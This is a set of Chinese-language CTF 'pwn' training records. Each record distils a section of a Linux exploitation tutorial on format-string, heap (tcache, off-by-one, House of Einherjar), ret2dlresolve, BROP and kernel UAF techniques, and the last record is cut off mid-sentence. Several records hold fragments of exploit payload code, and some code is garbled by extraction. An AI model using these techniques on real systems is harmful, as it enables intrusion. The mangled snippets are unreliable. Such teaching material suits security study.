{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-da616869ace0818b03e6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「修改ebp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 堆上的格式化字符串漏洞 > 例子 > 修改ebp\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“修改ebp”展开。\n- 上面已经得知了我们希望修改的 ebp 值，而也知道了对应的偏移为 6，所以我们可以构造如下的 payload 来进行修改相应的值。\n- `` part1 = (heap_addr - 4) / 2 part2 = heap_addr - 4 - part1 payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n' ``\n- 由于我们需要执行 move 指令将 ebp 赋给 esp，并还需要执行 pop ebp 才会执行 ret 指令，所以我们需要将 ebp 修改为存储 system 地址 -4 的值。\n- 这样 pop ebp 之后，esp 恰好指向保存 system 的地址，这时在执行 ret 指令即可执行 system 函数。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n代码/命令片段线索：\n- plain: 3 行，首行 `part1 = (heap_addr - 4) / 2`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 344, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "修改ebp", "heading_path": ["例子", "堆上的格式化字符串漏洞", "例子", "修改ebp"], "original_id": "docs-67ab777a572d0fdddb29", "original_line": 874, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "e039f972fead94053de27521", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-da6d5e2aa0638a866d13", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「stashed」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：53,54,60,62,63,64,65 > stashed\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stashed”展开。\n- add(0x28,'\\x10') # 54->67 add(0x28,'a' 0x20 + p64(0x240)) # 60->68 delete(61) `` 就是这样，先把 Tcache 填满，然后依次 free chunk B C A，再把 Tcache 清空，然后申请回 chunk A，部分覆写，使 fd 指向 fake_chunk。\n- `` add(0x28,p64(0) 2) # 69<-56 add(0x28,p64(0) 2) # 70<-57 add(0x28,p64(0) 2) # 71<-58 delete(68) add(0x60,p64(0) * 5 + p64(0x31) + p64(__free_hook_addr)) # 68 add(0x28,'pass') # 72\n- 然后由于 Tcache 的 stash 机制，chunk B C 进入 Tcache，再申请回来的就是 chunk B，部分覆写使 fd 指向 fake_chunk。\n- 然后申请回 chunk C，进行 off-by-null。\n- free chunk D，成功实现 chunk overlapping。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 5 行，首行 `就是这样，先把 Tcache 填满，然后依次 free chunk B C A，再把 Tcache 清空，然后申请回 chunk A，部分覆写，使 fd 指向 fake_chunk。`\n- plain: 1 行，首行 `然后进行 Tcache poisoning（这里我被卡了一小会，主要原因是一直想着通过 double free 来实现，这种想法确实挺蠢的，需要注意，Tcache poisoning 的利用只需要控制 next 指针就可以了，doub...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1187, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "stashed", "heading_path": ["53,54,60,62,63,64,65", "stashed"], "original_id": "docs-ac3709ba69f625be43f4", "original_line": 53, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "104e7e8051f0f5cbcad66967", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-da75d1d8633c8f3c8287", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「利用步骤」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：from pwn import * > Challenge 4 : HITCON 2019 one_punch_man > 利用步骤\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“利用步骤”展开。\n- ret #magic_gadget = libc_base + libc.sym['setcontext']+53 # add rsp, 0x48 ;\n\n关键术语：\n- UAF\n- 堆\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1475, "chunk_count": 2, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "利用步骤", "heading_path": ["from pwn import *", "Challenge 4 : HITCON 2019 one_punch_man", "利用步骤"], "original_id": "docs-b8e4faccc7999fa9f53e", "original_line": 1069, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "776e614566a1a2deaca3cd80", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-da935601d0efc75eb62d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「2015-hitcon-readable」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：send linkmap > 2015-hitcon-readable\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2015-hitcon-readable”展开。\n- 但是，与 2015-xdctf-pwn200 不同，这里栈溢出只能越界读取 16 个字节，而上述例子中所使用的的 ret2csu 则需要大量的字节。\n- 检查一下文件权限，可以发现，该可执行文件只开启了 NX 保护 ``bash ❯ checksec readable [*] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-hitcon-quals-readable/readable' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) `...\n- 我们来仔细分析下目前的情况，即我们可以越界控制 rbp、返回地址。\n- fd .text:0000000000400516 mov eax, 0 .text:000000000040051B call _read .text:0000000000400520 leave .text:0000000000400521 retn ` 那如果我们控制 rbp 为写的地址加上 0x10，即 targetaddr+0x10，然后再跳转到 0x400505，即栈的结构为 ` return_addr -> 0x400505 rbp -> target addr + 0x10 fake buf...\n- 通过不断地这样操作，我们就可以不断地读取 16 个字节，从而达到读取任意长字节的目的。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n\n代码/命令片段线索：\n- bash: 7 行，首行 `❯ checksec readable`\n- plain: 8 行，首行 `.text:0000000000400505 lea rax, [rbp-10h]`\n- plain: 3 行，首行 `return_addr -> 0x400505`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 963, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "2015-hitcon-readable", "heading_path": ["send linkmap", "2015-hitcon-readable"], "original_id": "docs-923a8bbcab4e492a0f3a", "original_line": 1369, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "072647490283f4653368c238", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:bash"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dadc6078f4a71a59042c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「泄露puts@got地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 例子 > 泄露puts@got地址\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“泄露puts@got地址”展开。\n- 之后利用ida打开binary模式，首先在edit->segments->rebase program 将程序的基地址改为0x400000，然后找到偏移0x560处，如下 `asm seg000:0000000000400560 db 0FFh seg000:0000000000400561 db 25h ;\n- 代码如下 ``python def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget): sh = remote('127.0.0.1', 9999) payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64( puts_plt) + p64(stop_gadget) sh.recvuntil('password?\n- 在我们可以调用puts函数后，我们可以泄露puts函数的地址，进而获取libc版本，从而获取相关的system函数地址与/bin/sh地址，从而获取shell。\n- 需要注意的是如果泄露出来的是“”,那说明我们遇到了'\\x00'，因为puts是输出字符串，字符串是以'\\x00'为终止符的。\n- seg000:0000000000400563 db 0Ah seg000:0000000000400564 db 20h seg000:0000000000400565 db 0 ` 然后按下c,将此处的数据转换为汇编指令，如下 `asm seg000:0000000000400560 ;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:python\n- code:asm\n\n代码/命令片段线索：\n- python: 40 行，首行 `def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):`\n- asm: 6 行，首行 `seg000:0000000000400560 db 0FFh`\n- asm: 6 行，首行 `seg000:0000000000400560 ; ---------------------------------------------------------------------------`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1968, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "泄露puts@got地址", "heading_path": ["中级ROP", "BROP", "例子", "泄露puts@got地址"], "original_id": "docs-fb4c3d2d314b706095d2", "original_line": 1296, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "164607d1dd5c87007981e6c5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:python", "code:asm"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-db7a09fd0e271d29f7c9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`\n标题：kernel UAF\n章节：kernel UAF > 例题：CISCN2017 - babydriver > 思路\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“思路”展开。\n- 那么我们不难想到的是我们可以通过 UAF 劫持 `/dev/ptmx` 这个设备的 `tty_struct` 结构体与其内部的 `tty_operations` 函数表，那么在我们对这个设备进行相应操作（如write、ioctl）时便会执行我们布置好的恶意函数指针。\n- 由于没有开启SMAP保护，故我们可以在用户态进程的栈上布置ROP链与 `fake tty_operations` 结构体。\n- 内核中没有类似 `one_gadget` 一类的东西，因此为了完成ROP我们还需要进行一次栈迁移 使用gdb进行调试，观察内核在调用我们的恶意函数指针时各寄存器的值，我们在这里选择劫持 `tty_operaionts` 结构体到用户态的栈上，并选择任意一条内核gadget作为fake tty函数指针以方便下断点： [图片: image.png;\n- 而`tty_operations``结构体开头到其write指针间的空间较小，因此我们还需要进行二次栈迁移，这里随便选一条改rax的gadget即可： [图片: image.png;\n- 没有用户态传统的溢出等漏洞，但存在一个伪条件竞争引发的 UAF 漏洞： - 如果我们同时打开两个设备，第二次会覆盖第一次分配的空间，因为 babydev\\_struct 是全局的。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1396, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "思路", "heading_path": ["kernel UAF", "例题：CISCN2017 - babydriver", "思路"], "original_id": "docs-b40058a1c19fbc9a1db1", "original_line": 776, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "source_root": "docs", "source_sha256": "8e6b9adbb421820e0d460522b874c1fb80d883af40c04dfc833c137f2c35fa9f", "split": "train", "split_group_key": "82795f4b849284b31785e88d", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "kernel UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-db7ca858975e082ffe04", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「make fake write relocation at base_stage+24」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：make fake write relocation at base_stage+24\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“make fake write relocation at base_stage+24”展开。\n- index_offset = base_stage + 24 - rel_plt write_got = elf.got['write'] r_info = (index_dynsym << 8) | 0x7 # calculate the r_info according to the index of write fake_write_reloc = flat([write_got, r_info])\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "make fake write relocation at base_stage+24", "heading_path": ["make fake write relocation at base_stage+24"], "original_id": "docs-500b9204929b3f25c76e", "original_line": 1321, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "e91ed97321b85a51ce925fed", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dbbec8780b227415f816", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「记录旧堆信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define GLRO(name) _##name > 记录旧堆信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“记录旧堆信息”展开。\n- brk = snd_brk = (char )(MORECORE_FAILURE);\n- ``c / Record incoming configuration of top / old_top = av->top;\n- old_end = (char )(chunk_at_offset(old_top, old_size));\n- old_size = chunksize(old_top);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `/* Record incoming configuration of top */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "记录旧堆信息", "heading_path": ["define GLRO(name) _##name", "记录旧堆信息"], "original_id": "docs-990c5df9c87646948a5c", "original_line": 1162, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "46ed9640bc5a2454640419c9", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dbce3299984ebe472712", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「利用原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`\n标题：House Of Einherjar\n章节：House Of Einherjar > 原理 > 利用原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用原理”展开。\n- 首先，在之前的堆的介绍中，我们可以知道以下的知识 - 两个物理相邻的 chunk 会共享 prev_size字段，尤其是当低地址的 chunk 处于使用状态时，高地址的chunk的该字段便可以被低地址的 chunk 使用。\n- 因此，我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size 字段。\n- 那么如果我们可以同时控制一个chunk prev_size 与 PREV_INUSE 字段，那么我们就可以将新的 chunk 指向几乎任何位置。\n- 后向合并时，新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize)) 。\n- 一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态，而且该位是和 prev_size 物理相邻的。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 397, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用原理", "heading_path": ["House Of Einherjar", "原理", "利用原理"], "original_id": "docs-6f6be548d3aed9b825b2", "original_line": 970, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "source_root": "docs", "source_sha256": "7555ab87640a8cca0af7390ea651fe0a6f5200d3f5a461105702e891b734e4f5", "split": "train", "split_group_key": "9575bffa9f7a0437cce7b13e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House Of Einherjar"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dd9a49ec384d58f21ba2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > REFERENCE\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- [https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x09-Kernel-Heap-Cross-Cache-Overflow-amp-Page-level-Heap-Fengshui](https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x09-Kernel-Heap-Cross-Cache-Overflow-amp-Page-level-Heap-...\n- https://bsauce.github.io/2022/11/07/castaways\n- https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 518, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "REFERENCE"], "original_id": "docs-6ac7132a388fab9da0d0", "original_line": 737, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "d3c962adaa831815fcabc6a1", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dddcbc9f6b434f9f0796", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「Unsorted Bin Attack 原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > Unsorted Bin Attack 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“Unsorted Bin Attack 原理”展开。\n- fprintf( stderr, \"In practice, unsorted bin attack is generally prepared for further \" \"attacks, such as rewriting the \" \"global variable global_max_fast in libc for further fastbin attack\\n\\n\");\n- fprintf(stderr, \"Let's first look at the target we want to rewrite on stack:\\n\");\n- fprintf(stderr, \"Now, we allocate first normal chunk on the heap at: %p\\n\", p);\n- fprintf(stderr, \"Let's malloc again to get the chunk we just free.\n- 这里我以 shellphish 的 how2heap 仓库中的 unsorted_bin_attack.c 为例进行介绍，这里我做一些简单的修改，如下 `c #include  #include  int main() { fprintf(stderr, \"This file demonstrates unsorted bin attack by write a large \" \"unsigned long value into 